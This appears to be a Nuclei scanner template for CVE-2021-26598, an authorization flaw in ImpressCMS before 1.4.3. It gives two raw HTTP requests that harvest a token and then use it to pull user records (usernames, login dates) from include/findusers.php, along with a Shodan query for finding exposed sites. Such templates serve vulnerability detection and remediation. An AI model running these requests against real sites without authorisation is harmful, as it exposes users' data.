63 lines
2.1 KiB
YAML
63 lines
2.1 KiB
YAML
id: CVE-2021-26598
|
|
|
|
info:
|
|
name: ImpressCMS <1.4.3 - Incorrect Authorization
|
|
author: gy741,pdteam
|
|
severity: medium
|
|
description: ImpressCMS before 1.4.3 is susceptible to incorrect authorization via include/findusers.php. An attacker can provide a security token and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
|
|
remediation: |
|
|
Upgrade to ImpressCMS version 1.4.3 or later to fix the vulnerability.
|
|
reference:
|
|
- https://hackerone.com/reports/1081137
|
|
- http://karmainsecurity.com/KIS-2022-03
|
|
- https://github.com/ImpressCMS
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-26598
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2021-26598
|
|
cwe-id: CWE-287
|
|
epss-score: 0.00506
|
|
epss-percentile: 0.73807
|
|
cpe: cpe:2.3:a:impresscms:impresscms:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: impresscms
|
|
product: impresscms
|
|
shodan-query: http.html:"ImpressCMS"
|
|
tags: hackerone,cve,cve2021,impresscms,unauth,cms
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /misc.php?action=showpopups&type=friend HTTP/1.1
|
|
Host: {{Hostname}}
|
|
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
|
|
- |
|
|
GET /include/findusers.php?token={{token}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- 'last_login'
|
|
- 'user_regdate'
|
|
- 'uname'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: token
|
|
group: 1
|
|
regex:
|
|
- "REQUEST' value='(.*?)'"
|
|
- 'REQUEST" value="(.*?)"'
|
|
internal: true
|
|
# digest: 490a00463044022035d2ea3a5c334d1769f2e637835ba312fd925bea23bae3848a0e74c59db17be4022049b2bd02389cbdc4bc4e525235ec92878012a044788d75b00e6fdc846d2ee9a5:922c64590222798bb761d5b6d8e72950 |